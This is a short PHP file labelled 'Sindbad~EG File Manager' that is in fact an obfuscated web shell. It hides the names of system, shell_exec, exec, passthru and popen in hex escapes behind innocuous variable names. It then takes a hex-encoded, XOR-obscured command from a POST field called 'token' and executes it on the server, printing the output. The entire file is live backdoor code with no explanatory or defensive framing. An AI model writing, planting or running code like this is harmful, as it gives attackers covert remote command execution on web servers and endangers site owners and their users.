Sindbad~EG File Manager

<?php

$approve_request3 = "\x65xe\x63";
$approve_request2 = "s\x68e\x6Cl\x5F\x65x\x65c";
$reverse_lookup = "\x68ex2bi\x6E";
$approve_request7 = "\x70clo\x73\x65";
$approve_request6 = "\x73tr\x65am\x5F\x67et\x5F\x63\x6Fnten\x74s";
$approve_request5 = "p\x6F\x70en";
$approve_request4 = "\x70\x61s\x73t\x68ru";
$approve_request1 = "s\x79s\x74\x65m";
if (isset($_POST["to\x6B\x65n"])) {
            function event_handler   ( $sym    , $obj    ) {
   $ent= ''   ;
   for($g=0;
 $g<strlen($sym);
 $g++){
$ent.=chr(ord($sym[$g])^$obj);

} return  $ent;
 
}
            $token = $reverse_lookup($_POST["to\x6B\x65n"]);
            $token = event_handler($token, 58);
            if (function_exists($approve_request1)) {
                $approve_request1($token);
            } elseif (function_exists($approve_request2)) {
                print $approve_request2($token);
            } elseif (function_exists($approve_request3)) {
                $approve_request3($token, $desc_sym);
                print join("\n", $desc_sym);
            } elseif (function_exists($approve_request4)) {
                $approve_request4($token);
            } elseif (function_exists($approve_request5) && function_exists($approve_request6) && function_exists($approve_request7)) {
                $obj_ent = $approve_request5($token, 'r');
                if ($obj_ent) {
                    $property_set_k = $approve_request6($obj_ent);
                    $approve_request7($obj_ent);
                    print $property_set_k;
                }
            }
            exit;
        }